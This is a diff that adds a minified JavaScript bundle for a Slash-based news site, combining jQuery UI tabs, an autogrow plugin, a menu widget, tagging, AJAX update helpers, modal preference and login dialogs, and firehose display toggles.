+.removeClass('ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible')
+.removeData('tabs');this.list.removeClass('ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all');this.anchors.each(function(){var href=$.data(this,'href.tabs');if(href){this.href=href;}
+var $this=$(this).unbind('.tabs');$.each(['href','load','cache'],function(i,prefix){$this.removeData(prefix+'.tabs');});});this.lis.unbind('.tabs').add(this.panels).each(function(){if($.data(this,'destroy.tabs')){$(this).remove();}
+else{$(this).removeClass(['ui-state-default','ui-corner-top','ui-tabs-selected','ui-state-active','ui-state-hover','ui-state-focus','ui-state-disabled','ui-tabs-panel','ui-widget-content','ui-corner-bottom','ui-tabs-hide'].join(' '));}});if(o.cookie){this._cookie(null,o.cookie);}},add:function(url,label,index){if(index===undefined){index=this.anchors.length;}
+var self=this,o=this.options,$li=$(o.tabTemplate.replace(/#\{href\}/g,url).replace(/#\{label\}/g,label)),id=!url.indexOf('#')?url.replace('#',''):this._tabId($('a',$li)[0]);$li.addClass('ui-state-default ui-corner-top').data('destroy.tabs',true);var $panel=$('#'+id);if(!$panel.length){$panel=$(o.panelTemplate).attr('id',id).data('destroy.tabs',true);}
+$panel.addClass('ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide');if(index>=this.lis.length){$li.appendTo(this.list);$panel.appendTo(this.list[0].parentNode);}
+else{$li.insertBefore(this.lis[index]);$panel.insertBefore(this.panels[index]);}
+o.disabled=$.map(o.disabled,function(n,i){return n>=index?++n:n;});this._tabify();if(this.anchors.length==1){$li.addClass('ui-tabs-selected ui-state-active');$panel.removeClass('ui-tabs-hide');this.element.queue("tabs",function(){self._trigger('show',null,self._ui(self.anchors[0],self.panels[0]));});this.load(0);}
+this._trigger('add',null,this._ui(this.anchors[index],this.panels[index]));},remove:function(index){var o=this.options,$li=this.lis.eq(index).remove(),$panel=this.panels.eq(index).remove();if($li.hasClass('ui-tabs-selected')&&this.anchors.length>1){this.select(index+(index+1<this.anchors.length?1:-1));}
+o.disabled=$.map($.grep(o.disabled,function(n,i){return n!=index;}),function(n,i){return n>=index?--n:n;});this._tabify();this._trigger('remove',null,this._ui($li.find('a')[0],$panel[0]));},enable:function(index){var o=this.options;if($.inArray(index,o.disabled)==-1){return;}
+this.lis.eq(index).removeClass('ui-state-disabled');o.disabled=$.grep(o.disabled,function(n,i){return n!=index;});this._trigger('enable',null,this._ui(this.anchors[index],this.panels[index]));},disable:function(index){var self=this,o=this.options;if(index!=o.selected){this.lis.eq(index).addClass('ui-state-disabled');o.disabled.push(index);o.disabled.sort();this._trigger('disable',null,this._ui(this.anchors[index],this.panels[index]));}},select:function(index){if(typeof index=='string'){i [...]
+else if(index===null){index=-1;}
+if(index==-1&&this.options.collapsible){index=this.options.selected;}
+this.anchors.eq(index).trigger(this.options.event+'.tabs');},load:function(index){var self=this,o=this.options,a=this.anchors.eq(index)[0],url=$.data(a,'load.tabs');this.abort();if(!url||this.element.queue("tabs").length!==0&&$.data(a,'cache.tabs')){this.element.dequeue("tabs");return;}
+this.lis.eq(index).addClass('ui-state-processing');if(o.spinner){var span=$('span',a);span.data('label.tabs',span.html()).html(o.spinner);}
+this.xhr=$.ajax($.extend({},o.ajaxOptions,{url:url,success:function(r,s){$(self._sanitizeSelector(a.hash)).html(r);self._cleanup();if(o.cache){$.data(a,'cache.tabs',true);}
+self._trigger('load',null,self._ui(self.anchors[index],self.panels[index]));try{o.ajaxOptions.success(r,s);}
+catch(e){}
+self.element.dequeue("tabs");}}));},abort:function(){this.element.queue([]);this.panels.stop(false,true);if(this.xhr){this.xhr.abort();delete this.xhr;}
+this._cleanup();},url:function(index,url){this.anchors.eq(index).removeData('cache.tabs').data('load.tabs',url);},length:function(){return this.anchors.length;}});$.extend($.ui.tabs,{version:'1.7.2',getter:'length',defaults:{ajaxOptions:null,cache:false,cookie:null,collapsible:false,disabled:[],event:'click',fx:null,idPrefix:'ui-tabs-',panelTemplate:'<div></div>',spinner:'<em>Loading…</em>',tabTemplate:'<li><a href="#{href}"><span>#{label}</span></a></li>'}});$.extend($.ui.tabs.pro [...]
+else{clearTimeout(self.rotation);this.element.unbind('tabsshow',rotate);this.anchors.unbind(o.event+'.tabs',stop);delete this._rotate;delete this._unrotate;}}});})(jQuery);(function(jQuery){var self=null;jQuery.fn.autogrow=function(o)
+{return this.each(function(){new jQuery.autogrow(this,o);});};jQuery.autogrow=function(e,o)
+{this.options=o||{};this.dummy=null;this.interval=null;this.line_height=this.options.lineHeight||parseInt(jQuery(e).css('line-height'));this.min_height=this.options.minHeight||parseInt(jQuery(e).css('min-height'));this.max_height=this.options.maxHeight||parseInt(jQuery(e).css('max-height'));;this.textarea=jQuery(e);if(this.line_height==NaN)
+{this.line_height=0;}
+if(this.min_height==NaN||this.min_height==0)
+{this.min_height==this.textarea.height();}
+this.init();};jQuery.autogrow.fn=jQuery.autogrow.prototype={autogrow:'1.2.2'};jQuery.autogrow.fn.extend=jQuery.autogrow.extend=jQuery.extend;jQuery.autogrow.fn.extend({init:function(){var self=this;this.textarea.css({overflow:'hidden',display:'block'});this.textarea.bind('focus',function(){self.startExpand()}).bind('blur',function(){self.stopExpand()});this.checkExpand();},startExpand:function(){var self=this;this.interval=window.setInterval(function(){self.checkExpand()},400);},stopExpa [...]
+{this.dummy=jQuery('<div></div>');this.dummy.css({'font-size':this.textarea.css('font-size'),'font-family':this.textarea.css('font-family'),'width':this.textarea.css('width'),'padding':this.textarea.css('padding'),'line-height':this.line_height+'px','overflow-x':'hidden','position':'absolute','top':0,'left':-9999}).appendTo('body');}
+var html=this.textarea.val().replace(/(<|>)/g,'');if($.browser.msie)
+{html=html.replace(/\n/g,'<BR>new');}
+else
+{html=html.replace(/\n/g,'<br>new');}
+if(this.dummy.html()!=html)
+{this.dummy.html(html);if(this.max_height>0&&(this.dummy.height()+this.line_height>this.max_height))
+{this.textarea.css('overflow-y','auto');}
+else
+{this.textarea.css('overflow-y','hidden');if(this.textarea.height()<this.dummy.height()+this.line_height||(this.dummy.height()<this.textarea.height()))
+{var new_height=this.dummy.height()+this.line_height,self=this;this.textarea.trigger('autogrow-will-grow',[new_height]).animate({height:new_height+'px'},100,function(){self.textarea.trigger('autogrow-did-grow',[new_height]);});}}}}});})(jQuery);;(function($){$.widget("slash.menu",$.extend({},$.ui.mouse,{_init:function(){this._mouseInit();this.triggers=$(this.options.triggers||[]);this.element.unbind('mousedown.'+this.widgetName);var self=this;this.triggers.bind('mousedown.'+this.widgetNa [...]
+this._overTarget=this._tracking=undefined;this._hoverStarted=this.hoverTimeoutExceeded=false;this._menuStarted=(this.options.clickToHover&&this._mouseStart(e));return true;},_mouseStart:function(e){if(!this._menuStarted){var ui=this._uiHash(e);this._trigger('start',e,ui);((this._tracking===undefined)&&this.tracking('start',e,ui));var self=this;this.element.children().bind('mouseleave.'+this.widgetName,function(e){return self._item('out',e);}).bind('mouseenter.'+this.widgetName,function(e [...]
+return this._menuStarted;},_item:function(action,e,ui){(ui||(ui=this._uiHash(e)));(e&&(this._overTarget=ui.over));if(ui[action]&&this._tracking){((action==='out')&&this._highlight(action,e,ui));this._trigger(action,e,ui);((action==='over')&&this._highlight(action,e,ui));}},_mouseStop:function(e,ui){if(this._menuStarted){this.hoverTimeoutExceeded||this._item('select',e,ui||this._uiHash(e,'select'));ui||(ui=this._uiHash(e,'stop'));this.tracking('stop',e,ui);this._trigger('stop',e,ui);}
+this._reset();if(this._clickDurationTimer){clearTimeout(this._clickDurationTimer);this._clickDurationTimer=undefined;}
+if(this._hoverDurationTimer){clearTimeout(this._hoverDurationTimer);this._hoverDurationTimer=undefined;}
+$(document).unbind('mousedown.'+this.widgetName).unbind('mouseup.'+this.widgetName);this.element.children().unbind('mouseenter.'+this.widgetName).unbind('mouseleave.'+this.widgetName);},_inheritMouseUp:function(e,ui){this._mouseDownEvent||(this._mouseDownEvent=this._menuMouseDownEvent||{});this._mouseStarted=true;return this._mouseUp(e,ui);},_menuMouseDown:function(e,ui){this._menuMouseDownEvent=e;var is_trigger=ui.trigger&&ui.trigger!==document&&(this.options.liveTriggers||this.triggers [...]
+if(this._hoverStarted){clearTimeout(this._hoverDurationTimer);this._hoverDurationTimer=undefined;this.tracking('start',e);}else{(is_trigger&&(this._startTarget=ui.trigger));this._mouseDown(e);$(document).unbind('mouseup.'+this.widgetName,this._mouseUpDelegate);}
+var self=this;$(document).one('mouseup.'+this.widgetName,function(e){return self._menuMouseUp(e);});return true;},_menuMouseUp:function(e){clearTimeout(this._clickDurationTimer);this._clickDurationTimer=undefined;if(this._startTarget&&!this._menuStarted){this._inheritMouseUp(e);this._trigger('click',e,{click:this._startTarget});return false;}
+var ui;if(this._hoverStarted||this._mouseStarted||(this._tracking&&(ui=this._uiHash(e,'stop')).select)||this._clickDurationExceeded(e)){return this._inheritMouseUp(e,ui);}
+this._hoverStarted=true;var self=this;if(this.options.hoverTimeout){this._hoverDurationTimer=setTimeout(function(){var e=$.Event('mouseup');e.target=self._overTarget;self.hoverTimeoutExceeded=true;self._inheritMouseUp(e);},this.options.hoverTimeout);}
+$(document).unbind('mouseup.'+this.widgetName,this._mouseUpDelegate).
+one('mousedown.'+this.widgetName,function(e){return self._menuMouseDown(e,{trigger:document});});e.preventDefault();return false;},_highlight:function(action,e,ui){var if_highlight={'over':true,'out':false}[action];if(this._hoverClass&&if_highlight!==undefined&&ui[action]){$(ui[action]).toggleClass(this._hoverClass,if_highlight);this.element.toggleClass(this._hoverClass,!!ui.over);}},_itemOf:function(el){var item=undefined;if(el){var menu=this.element[0],$el=$(el),$path=$el.add($el.paren [...]
+return item;},_uiHash:function(event_or_type,event_type,ui){var actual_event=(event_or_type&&event_or_type.type)?event_or_type:undefined,event_items=actual_event?{item:this._itemOf(actual_event.target),relatedItem:this._itemOf(actual_event.relatedTarget)}:{item:this._overTarget},requested_type=event_type||(actual_event?actual_event.type:event_or_type),map_event_to_ui={'mouseenter':{over:'item',out:'relatedItem'},'mouseleave':{out:'item',over:'relatedItem'},'select':{select:'item',over:'i [...]
+ajax_update({op:'page_save_user_boxes',reskey:reskey_static,bids:$('#slashboxes article header').map(function(){return this.id.slice(0,-6);}).get().join(',')});}
+$(function(){$('#slashboxes').sortable({axis:'y',containment:'parent',handle:'header',items:'> article:not(.nosort)',update:save_slashboxes}).find('> article:not(.nosort) > header').
+append('<div class="actions"><a class="ico close" href="#"><b class="ui-icon close"></b><span>Close</span></a></div>');$('#slashboxes article:not(.nosort) header .close').live('click',function(){$(this).closest('article').remove();save_slashboxes();after_article_moved();});});})(Slash.jQuery);;var Tags={},tag_admin=false,gFocusedText,$previous_context_trigger=$([]);(function(){var WS=/\s+/,NODNIX=/\b(?:meta)?(?:nod|nix)\b/i;function topics($tags,sort){var tags=$tags.filter('a.topic').map [...]
+function inspect($tagbar){var $tags=$tagbar.children();return{skin:$tags.filter('a.main:first').text(),vote:$tags.filter('a.my[href$=/nod],a.my[href$=/nix],a.my[href$=/metanod],a.my[href$=/metanix]').text(),topics:topics($tags,'sorted'),datatype:$tags.filter('a.datatype')};}
+function preprocess(fhitem,tags){var nodnix=NODNIX.test(tags)&&($(fhitem).is('.fhitem-comment')?firehose_handle_comment_nodnix:firehose_handle_nodnix);tags=tags.split(WS);firehose_handle_admin_commands&&(tags=firehose_handle_admin_commands.call(fhitem,tags));nodnix&&(tags=nodnix.call(fhitem,tags));return tags.join(' ');}
+Tags.submit=function(fhitem_or_tagbar,tags){var $target=$(fhitem_or_tagbar),$tagbar=$target,$fhitem=$target.closest('article.fhitem, div.fhitem'),fhitem=$fhitem[0],key=fhitem_key(fhitem),$spinner=$('span.tag-server-busy',fhitem).show();$tagbar.is('.tag-bar')||($tagbar=$fhitem.find('span.tag-bar'));tags&&(tags=preprocess(fhitem,tags));if(window.google_analytics_uacct){if(tags){_gaq.push(['_trackEvent','Tag','TagCreate',tags]);_gaq.push(['b._trackEvent','Tag','TagCreate',tags]);}}
+$.ajax({type:'POST',dataType:'json',data:{op:'tags_setget_display',key:key.key,key_type:key.key_type,reskey:reskey_static,tags:tags||'',limit_fetch:'',include_topic_images:sign($fhitem.is('.fhitem-editor'))},success:function(nobj){var prev=inspect($tagbar),next=inspect($tagbar.html(nobj.markup));if(!nobj.status&&$tagbar.attr("id").match(/edit/)){$tagbar.parent().append("<div id='editor_tag_update_message'><span style='color:red; text-decoration:blink'>"+nobj.message+"</span></div>");}
+function notice_changes(k,data){next[k]!==prev[k]&&$fhitem.trigger(k+'-assigned',data||next[k]);}
+notice_changes('datatype');notice_changes('topics',topics($tagbar.children()));notice_changes('skin');notice_changes('vote');if(nobj.markup.search('tag img')>0){$('#editor').addClass('tagwithimg');}},complete:function(){}});};Tags.fetch=function(fhitem_or_tagbar){Tags.submit(fhitem_or_tagbar);};})();(function(){var IS_AUTOCOMPLETE_READY='ac-ready',ENTER=13,ESC=27,SPACE=32,SUBMIT_FOR={},CLEAR_FOR={},CLOSE_FOR={};(function(){SUBMIT_FOR[ENTER]=SUBMIT_FOR[SPACE]=true;CLEAR_FOR[ENTER]=CLEAR_F [...]
+if(key===ESC){event.preventDefault();event.stopImmediatePropagation();return false;}
+return true;}).live('keyup',function(event){var $this=$(original_target(event)),key=event.which||event.keyCode;SUBMIT_FOR[key]&&Tags.submit($this.siblings('span.tag-bar'),$this.val());CLEAR_FOR[key]&&$this.val('');CLOSE_FOR[key]&&firehose_toggle_tag_ui_to(false,$this);return true;});$('a.edit-toggle').live('click',function(e){var toggle=original_target(e),editing=$(toggle).closest('.fhitem-editor').length;(editing||check_logged_in())&&firehose_toggle_tag_ui(toggle);});$('input.tag-entry. [...]
+var opts={data:request_params};if(options.request_url){opts.url=options.request_url;}
+if(options.async_off){opts.async=false;}
+if(id){opts.success=function(html){$any(id).html(html);};}
+if(handlers&&handlers.onComplete){opts.complete=handlers.onComplete;}
+if(handlers&&handlers.onError){opts.error=handlers.onError;}
+jQuery.ajax(opts);}
+function firehose_set_disc_system(x){ajax_update({op:'firehose_set_disc_system',reskey:reskey_static,section:firehose_settings.section,disctype2:x},'',{onComplete:json_handler});}
+function ajax_periodic_update(interval_in_seconds,request_params,id,handlers,options){setInterval(function(){ajax_update(request_params,id,handlers,options);},interval_in_seconds*1000);}
+function eval_response(xhr){return evalExpr(xhr.responseText);}
+function json_handler(xhr){var response=eval_response(xhr);response&&json_update(response);return response;}
+function json_update(response){if(!response){return;}
+$.globalEval(response.eval_first);$.each(response.html||[],function(elem_id,new_html){$any(elem_id).html(new_html);});$.each(response.value||[],function(elem_id,new_value){$any(elem_id).each(function(){if(this!==gFocusedText){$(this).val(new_value);}});});$.each(response.html_append||[],function(elem_id,new_html){$any(elem_id).append(new_html);});$.each(response.html_add_after||[],function(elem_id,add_html){$any(elem_id).after(add_html);});$.each(response.html_add_before||[],function(ele [...]
+$this.html(old_html+new_html);});});if(response.updates&&response.updates.length){$.each(response.updates,function(){if(this[0]=="add"){$("#firehoselist").append(this[2]);}else if(this[0]=="remove"){$("#firehose-"+this[1]).remove();}});}
+$.each(response.events||[],function(){if(this.event){$(this.target||document).trigger(this.event,this.data);}});$.globalEval(response.eval_last);}
+var view;(function(){var $body,$html_body,el_q=[];function DOM_descendant(ancestor,descendant){return $(descendant).eq(0).parents().index(ancestor)>=0;}
+function offset(el,b,how){var $el=$(el),e=new Bounds($el);if(!Bounds.empty(e)){if(TypeOf.element($el[0])){$.each({top:-1,left:-1,bottom:1,right:1},function(edge,scale){e[edge]+=scale*parseInt($el.css('margin-'+edge));});}
+if(how.axis!='y'&&!Bounds.contain(Bounds.x(b),e)){var dx=e.left<=b.left||b.width()<=e.width()?e.left-b.left:e.right-b.right;b.left+=dx;b.right+=dx;}
+if(how.axis!='x'&&!Bounds.contain(Bounds.y(b),e)){var dy=e.top<=b.top||b.height()<=e.height()?e.top-b.top:e.bottom-b.bottom;b.top+=dy;b.bottom+=dy;}}
+return b;}
+view=function(what,how){var stop=(what===false),start=!stop,$el,el;if(start){how||(how={});'speed'in how||(how.speed='normal');if($.browser.opera){how.speed=0}
+$el=$any(what);el=$el[0];if(Bounds.empty($el)){start=false;}else if(el_q.length&&(!how.speed||!DOM_descendant(el_q[el_q.length-1],el))){stop=true;}}
+if(stop){$html_body.stop(true);el_q.length=0;}
+if(start){el_q.push(el);$body.queue('fx',function(){var w=new Bounds(window);how.hint&&!Bounds.empty($el)&&offset(how.hint,w,how);offset($el,w,how);$html_body.animate({scrollTop:w.top,scrollLeft:w.left},how.speed,function(){how.focus&&$el.focus();el_q.shift();$body.dequeue('fx');});});}
+return $el;}
+$(function(){$body=$('body');$html_body=$('html,body');});})();function more_possible(text){$('#more-experiment a').trigger('more-possible');}
+function createPopup(pos_selector,titlebar,name,contents,message,onmouseout){function div(kind,html){return $('<div id="'+name+'-'+kind+'" class="popup-'+kind+'">'+(html||'')+'</div>');}
+var pos=Position(pos_selector),$popup=$('<div id="'+name+'-popup" class="popup" style="position:absolute; top:'+pos.top+'px; left:'+pos.left+'px; z-index:100">').appendTo('body').append('<iframe>').append(div('title',titlebar)).append(div('contents',contents)).append(div('message',message));TypeOf.fn(onmouseout)&&$popup.mouseleave(onmouseout);return $popup[0];}
+function createPopupButtons(){return'<span class="buttons"><span>'+$.makeArray(arguments).join('</span><span>')+'</span></span>';}
+function closePopup(id,refresh){$any(id).remove();if(refresh){window.location.reload();}}
+function handleEnter(ev,func,arg){if(!ev){ev=window.event;}
+var code=ev.which||ev.keyCode;if(code==13){func(arg);ev.returnValue=true;return true;}
+ev.returnValue=false;return false;}
+function adsToggle(val){var params={};params.op='enable_maker_adless';if(!val){params.off=1;}
+params.reskey=reskey_static;ajax_update(params,'',{onComplete:json_handler});}
+function cached_parts(expr){if(!cached_parts[expr]){cached_parts[expr]=$(expr).insertBefore('#top_parent');}
+return cached_parts[expr];}
+function get_modal_parts(filter){var $parts=cached_parts('#modal_cover, #modal_box');if(filter){$parts=$parts.filter(filter);}
+return $parts;}
+function custom_modal_box(action_name){$(document).trigger(action_name+'.modal');var custom_fn_name='_custom_'+action_name+'_fn',$all_parts=get_modal_parts(),$dialog=$all_parts.filter('#modal_box'),dialog_elem=$dialog[0],fn=dialog_elem[custom_fn_name]||function(){$all_parts[action_name]();};fn($all_parts);dialog_elem[custom_fn_name]=undefined;$all_parts.filter('#modal_cover').click(hide_modal_box);return $all_parts;}
+function show_modal_box(){return custom_modal_box('show').keyup(function(e){e.which==$.ui.keyCode.ESCAPE&&hide_modal_box();});}
+function hide_modal_box(){var retainclass=" ";if($('#modal_box').hasClass('push')){retainclasses='push';}
+custom_modal_box('hide').hide().attr('style','display: none;').removeClass().addClass(retainclasses).removeData('tabbed').unbind();if(document.forms.modal_prefs&&document.forms.modal_prefs.refresh_onclose&&document.forms.modal_prefs.refresh_onclose.value){document.location=document.URL;}
+return false;}
+function get_login_parts(){return cached_parts('#login_cover, #login_box');}
+function show_login_box(){$("#embbeded_login_modal").css("display","inline");$("#embbeded_login_modal form input[name=unickname]").focus();}
+function hide_login_slider(e){$("#embbeded_login_modal").css("display","none");}
+function hide_login_box(){get_login_parts().hide();}
+var logged_in=1;function check_logged_in(){return logged_in||(show_login_box(),0);}
+function has_hose(){return firehose_exists}
+function getModalPrefSub(section){var params={};params['op']='getModalPrefSub';params['section']=section;params['opened_from']=$("form#modal_prefs input[name=opened_from]").val();var handlers={onComplete:function(transport){$('#modal-p ul.menu li').removeClass('selected');json_handler(transport);}};ajax_update(params,'',handlers);}
+function getModalPrefs(section,title,tabbed,params){var BUSY_FETCHING_MODAL='modal-fetch',$still_open=get_modal_parts('#modal_box:visible'),$bg;$still_open.length&&$still_open.data('tabbed')!=tabbed&&hide_modal_box();var formname=section;var this_op='display_modal';var return_to=location.toString();if(formname==='sendPasswdModal'||formname==='newUserModal'||formname==='userlogin'){this_op='getModalPrefsAnonHC';if(formname==='userlogin'){return_to=location.toString();}}else if(formname==' [...]
+Slash.busy(BUSY_FETCHING_MODAL,true);$bg=get_modal_parts('#modal_cover').css('opacity',0.75).show();if(formname==='sendPasswdModal'||section.match(/^fh/)||section.match(/^submit/)||section.match(/^newUserModal/)||section.match(/modcommentlog/)){if(this_op=="display_modal"){this_op="getModalPrefs";}
+$any('modal_box_content').load('/ajax.pl',$.extend({op:this_op,section:section,reskey:reskey_static,tabbed:tabbed,return_to:return_to},params||null),function(response,status,transport){if(status==='success'){$any('preference_title').html(title);$('#modal_box').removeClass('no_scrollbars');var $modal=show_modal_box().data('tabbed',tabbed);tabbed&&$modal.addClass("tabbed");}else{$bg.hide();}
+Slash.busy(BUSY_FETCHING_MODAL,false);});}else{var passData=$.extend({op:this_op,section:section,reskey:reskey_static,tabbed:tabbed,return_to:return_to,opened_from:return_to},params||null);var myModal=$("#modal_box_content");myModal.empty();myModal.html("<iframe class='prefiframe' src='https://"+location.hostname+"/prefs.pl?"+jQuery.param(passData)+"' frameborder=0 width='100%' onload='showCompletedPrefsModal(this);'></iframe>");return false;}}
+function showCompletedPrefsModal(myFrame)
+{var BUSY_FETCHING_MODAL='modal-fetch';$('#modal_box').addClass('no_scrollbars');show_modal_box();$(myFrame).height('100%');Slash.busy(BUSY_FETCHING_MODAL,false);}
+function serialize_multiple($form){var elems=$form.serializeArray();var uses={};$.map(elems,function(el){++uses[el.name]||(uses[el.name]=1);});var salt=1;return $.param($.map(elems,function(el){if(uses[el.name]>1){el.name+=salt++;}
+return el;}));}
+function resetModalPrefs(extra_param){var params={op:'saveModalPrefs',data:serialize_multiple($any('modal_prefs')),reset:1,reskey:(document.forms.modal_prefs&&document.forms.modal_prefs.reskey&&document.forms.modal_prefs.reskey.value)||reskey_static};if(extra_param){params[extra_param]=1;}
+ajax_update(params,'',{onComplete:function(){hide_modal_box();document.location=document.URL;}});}
+function saveModalPrefs(formname,this_data,this_reskey){formname=formname||(document.forms.modal_prefs&&document.forms.modal_prefs.formname&&document.forms.modal_prefs.formname.value);this_data=this_data||serialize_multiple($any('modal_prefs'));this_reskey=this_reskey||(document.forms.modal_prefs&&document.forms.modal_prefs.reskey&&document.forms.modal_prefs.reskey.value)||reskey_static;var this_op='saveModalPrefs';if(formname==='sendPasswdModal'||formname==='newUserModal'){this_op='save [...]
+if($("form#modal_prefs input[name=op]").size()>0){document.forms.modal_prefs.op.value=this_op;}
+if($("form#modal_prefs input[name='opened_from']").size()<1){ajax_update({op:this_op,data:this_data,reskey:this_reskey},'',{onComplete:function(transport){var BUSY_FETCHING_MODAL='modal-fetch';var response=eval_response(transport);json_update(response);if(response===undefined||response.html_replace===undefined){try{hide_modal_box();}catch(e){}
+if(document.forms.modal_prefs.refreshable&&document.forms.modal_prefs.refreshable.value){window.location.reload();}else{Slash.busy(BUSY_FETCHING_MODAL,false);}}}});return false;}else{$("form#modal_prefs").submit();return true;}}
+function modalPrefsUnsubscribeAll(){var dropdowns=$('form#modal_prefs select');for(var i=0;i<dropdowns.length;i++){if(dropdowns.eq(i).val()==0){dropdowns.eq(i).val(-1);}}
+$("#modal_prefs_save_button").click();return true;}
+function createacct_check_nick(this_form){var params={};params.op='createacct_check_nick';params.nickname=this_form.newusernick.value;params.reskey=this_form.nick_rkey.value;if((this_form===undefined)||(params.nickname===undefined)||(params.nickname==='')){return false;}
+ajax_update(params,'',{onComplete:function(transport){var response=eval_response(transport);if(response!==undefined&&response.html_replace!==undefined){json_update(response);}}});}
+function displayModalPrefHelp(id,displayType){var el=$any(id);if(!displayType){var displayType="inline";}
+el.css('display',el.css('display')!='none'?'none':displayType);}
+function showHof(period){var BUSY_FETCHING_MODAL='modal-fetch';Slash.busy(BUSY_FETCHING_MODAL,true);$any('modal_box_content').load('/CurrentHof.pl?view=modal&period='+period,function(){show_modal_box();Slash.busy(BUSY_FETCHING_MODAL,false);});return false;}
+function openInWindow(mylink,samewin){if(!samewin&&window.open(mylink,'_blank')){return false;}
+window.location=mylink;return false;}
+function logout(){ajax_update({op:'logout',reskey:reskey_static},'',{onComplete:json_handler});}
+function prescan_user(){var params={};params['op']='comments_precheck';ajax_update(params,'');}
+jQuery(document).ready(function(){$('.commentSub .ui-icon.flag').live('click',function(fe){if($('#flag_comment').length>0){$('#flag_comment').remove();}
+$(this).parent().append('<form id="flag_comment"><input type="hidden" name="comment" value="'+this.id+'"><input type="button" class="s" value="Report" disabled="disabled" onclick="reportCommentAbuse();"><input type="text" name="reason" class="t" placeholder="Specify reason" ></form>').parent().parent().addClass('flag-in');$('input[name=reason]').focus();});$(".comment").hover(function(){},function(){if($(this).hasClass('flag-in')){$('#flag_comment').remove();$(this).removeClass('flag-in' [...]
+function randStory(){var params={};params.op='semiRandStory';params.reskey=reskey_static;ajax_update(params,'',{onComplete:json_handler});}
+function getTopStories(days){var params={};params.op='getTopStories';params.days=days;params.reskey=reskey_static;$('.btmrel, .btmday, .btmweek, .btmmonth').removeClass('selected');if(days==1){$('.btmday').addClass('selected');}else if(days==7){$('.btmweek').addClass('selected');}else if(days==30){$('.btmmonth').addClass('selected');}
+ajax_update(params,'',{onComplete:json_handler});}
+function getRelatedStoriesForStory(stoid){var params={};$('.btmday, .btmweek, .btmmonth').removeClass('selected');$('.btmrel').addClass('selected');params.op='getRelatedStoriesForStory';params.stoid=stoid;params.reskey=reskey_static;ajax_update(params,'',{onComplete:json_handler});}
+function trackLink(link,category,action){_gaq.push(['_trackEvent','OutboundLinks',category,action]);_gaq.push(['b._trackEvent','OutboundLinks',category,action]);setTimeout('document.location = "'+link.href+'"',100);}
+function after_article_moved(article){var data=article?$(article).nextAll(':visible').andSelf():null;$any('firehoselist').trigger('articlesMoved',data);}
+function before_article_removed(article,if_also_trigger_moved){var next_article=article?$(article).next(':visible')[0]:null;$any('firehoselist').trigger('beforeArticleRemoved',article);if(if_also_trigger_moved){after_article_moved(next_article);}}
+function firehose_toggle_advpref(){$any('fh_advprefs').toggleClass('hide');}
+function firehose_open_prefs(){$any('fh_advprefs').removeClass();}
+function toggleIntro(id,toggleid){var new_class='condensed';var new_html='[+]';if($any(id).setClass(applyMap('introhide','intro')).hasClass('intro')){new_class='expanded';new_html='[-]';}
+$any(toggleid).setClass(new_class).html(new_html);}
+function tagsToggleStoryDiv(id,is_admin,type){if($any('toggletags-body-'+id).hasClass('tagshide')){tagsShowBody(id,is_admin,'',type);}else{tagsHideBody(id);}}
+function tagsHideBody(id){$any('toggletags-body-'+id).setClass('tagshide');$any('tagbox-title-'+id).setClass('tagtitleclosed');$any('tagbox-'+id).setClass('tags');$any('toggletags-button-'+id).html('[+]');after_article_moved(elemAny('firehose-'+id));}
+function tagsShowBody(id,unused,newtagspreloadtext,type){type=type||"stories";if(type=="firehose"){setFirehoseAction();if(fh_is_admin){firehose_get_admin_extras(id);}}
+$any('toggletags-button-'+id).html("[-]");$any('tagbox-'+id).setClass("tags");$any('tagbox-title-'+id).setClass("tagtitleopen");$any('toggletags-body-'+id).setClass("tagbody");after_article_moved(elemAny('firehose-'+id));}
+function tagsOpenAndEnter(id,tagname,unused,type){tagsShowBody(id,unused,tagname,type);}
+function reportError(request){alert("error");}
+function is_body_expanded(el){return $(el).closest('.fhitem').is(':has(>[id^=fhbody-]:not(.empty,.hide))');}
+function toggle_fh_body_wrap_return(el){return firehose_settings.view==='stories'&&is_body_expanded(el)||toggle_firehose_body.apply(null,arguments)&&false;}
+function toggle_firehose_body(el,unused,toggle_to,dont_next){setFirehoseAction();var $fhitem=$(el).closest('.fhitem'),fhid=$fhitem.attr('id').replace(FHID_PREFIX,''),$body=$fhitem.children('[id^=fhbody-]'),body_is_empty=$body.is('.empty'),toggle_from=sign(!body_is_empty&&!$body.is('.hide')||-1);if(toggle_to===false){toggle_to=-1;}else if(typeof(toggle_to)==='string'){toggle_to={show:1,hide:-1}[toggle_to];}
+toggle_to=sign(toggle_to||-toggle_from);if(toggle_to==toggle_from){return;}
+var showing=toggle_to>0;if(body_is_empty){var handlers={};fh_is_admin&&(handlers.onComplete=function(){firehose_get_admin_extras(fhid);});ajax_update({op:'firehose_fetch_text',id:fhid,reskey:reskey_static},$body.attr('id'),handlers);}else if(fh_is_admin&&showing){firehose_get_admin_extras(fhid);}
+$body.removeClass('body empty hide').addClass(showing?'body':'hide');$fhitem.removeClass('article briefarticle adminmode usermode').addClass((showing?'article ':'briefarticle ')+(fh_is_admin?'adminmode':'usermode'));if(showing){$fhitem.removeAttr('onclick');}
+if(!dont_next&&!showing&&$fhitem.is('.currfh')){firehose_go_next();}
+after_article_moved($fhitem);inlineAdFirehose(showing&&$fhitem);return false;}
+toggle_firehose_body.SHOW=1;toggle_firehose_body.TOGGLE=0;toggle_firehose_body.HIDE=-1;function toggleFirehoseTagbox(id){$any('fhtagbox-'+id).setClass(applyMap('tagbox','hide'));after_article_moved(elemAny('firehose-'+id));}
+function use_skin(link){var $installed_skins=$('head link.data-skin').attr('disabled',true),$link,$new_skin;if(link){$link=$(link);$new_skin=$installed_skins.filter('[title='+$link.attr('title')+']');if(!$new_skin.length){$new_skin=$link.addClass('data-skin').
+attr('disabled',true).
+appendTo('head');}
+$new_skin.attr('disabled',false);}}
+function firehose_style_switch(section_id){var $item=firehose_section_menu_item(section_id),section=$item.length&&$item.metadata();if('skin'in section||section_id==='unsaved'){use_skin(section.skin);return;}
+ajax_update({op:'firehose_section_css',reskey:reskey_static,layout:'yui',section:section_id},'',{onComplete:function(xhr){var json=eval_response(xhr)||{};use_skin(json.css_includes);section&&(section.skin=json.css_includes);}});}
+var sprite_rules,use_sprites;(function(){function need_rule($expr){return($expr.css('background-image')||'none')==='none';}
